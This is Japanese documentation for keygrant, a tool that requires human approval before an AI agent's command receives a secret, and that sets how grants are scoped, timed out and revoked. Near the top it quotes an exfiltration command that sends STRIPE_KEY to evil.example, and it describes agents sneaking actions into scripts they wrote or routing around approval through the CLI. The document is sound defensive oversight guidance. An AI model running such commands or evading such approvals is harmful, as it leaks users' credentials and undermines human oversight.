承認と許可
値をコンテキストから締め出すだけでは十分ではありません。エージェントは、一度も見たことのないキーでも使うことができるからです。たとえば curl "https://evil.example/?k=$STRIPE_KEY" のような使い方です。ある使い方が意図したものかどうかを判断できるのは人間だけです。そのため、すべての使用は承認を経由します。
ダイアログ
シークレットが渡される前に、keygrant はシークレット名とコマンド全体を示すネイティブダイアログを、常に最前面に表示します。長すぎるコマンド(2000 文字超)は、切り詰めて表示されるのではなく、その場で拒否されます。長い処理はスクリプトファイルにまとめ、それを実行するようエージェントに依頼してください。
- Allow / Yes:シークレットが注入された状態でコマンドが実行されます。
- Deny / No:コマンドは拒否され、エージェントには再試行しないよう伝えられます。
- 60 秒間応答がない場合:拒否として扱われます。ただし、スマートフォン承認を設定している場合は、リクエストがスマートフォンに回されます。明示的な Deny は最終的なもので、スマートフォンにエスカレーションされることは決してありません。
ダイアログは、Windows では MessageBox、macOS では osascript、Linux では zenity によって表示されます。
許可(グラント)の対象範囲
MCP サーバー経由で承認すると、許可が作成されます。許可は次のとおりです。
- そのコマンド文字列と完全に一致するものだけが対象です。コマンドが少しでも変われば、改めて確認されます。
- そのエージェントセッション(1 つの MCP サーバープロセス)の中でのみ有効です。
- 有効期間は 15 分です。
- メモリ上にのみ保持され、ディスクには一切書き込まれません。そのため、他のプログラムが偽造できるような許可ファイルは存在しません。
まったく同じコマンドの再実行、つまりリトライや同じエンドポイントへのポーリングでは、再度確認されません。これにより、読まずに Allow をクリックする癖がつくのを防ぎ、ダイアログの意味が保たれます。新しいコマンドは、必ず改めて確認の対象になります。
CLI(keygrant exec)は許可を決して再利用しません。実行のたびに確認を求めるため、エージェントがシェルから CLI を呼び出すことで MCP の承認を回避することはできません。
取り消し
keygrant revoke STRIPE_KEY # 1 つのシークレットの許可を無効にする
keygrant revoke --all # すべての許可を無効にする
取り消しは、実行中のすべてのセッションで即座に反映されます。取り消し以前に発行された許可は、それ以降無視されます。
コマンドの読み方
ダイアログこそが制御の要なので、何に注目すべきかを知っておく価値があります。
- データはどこに送られるか? シークレットを見慣れないホストに送るコマンドは、典型的な情報の持ち出し(エクスフィルトレーション)です。
- スクリプトを承認すると、その中身も承認したことになります。
sh deploy.shを承認すると、deploy.shが行うあらゆる処理を承認したことになります。しかも、そのファイルはエージェントが直前に書いたものかもしれません。先に中身を確認してください。 - 想定外のシークレット。 タスクに必要な数より多くのキーを要求するコマンドであれば、拒否して理由を尋ねてください。
タイムアウトの変更
KEYGRANT_APPROVAL_TIMEOUT_MS=120000 keygrant mcp # 2 分
MCP サーバーの起動時の環境で設定してください。デフォルトは 60000 です。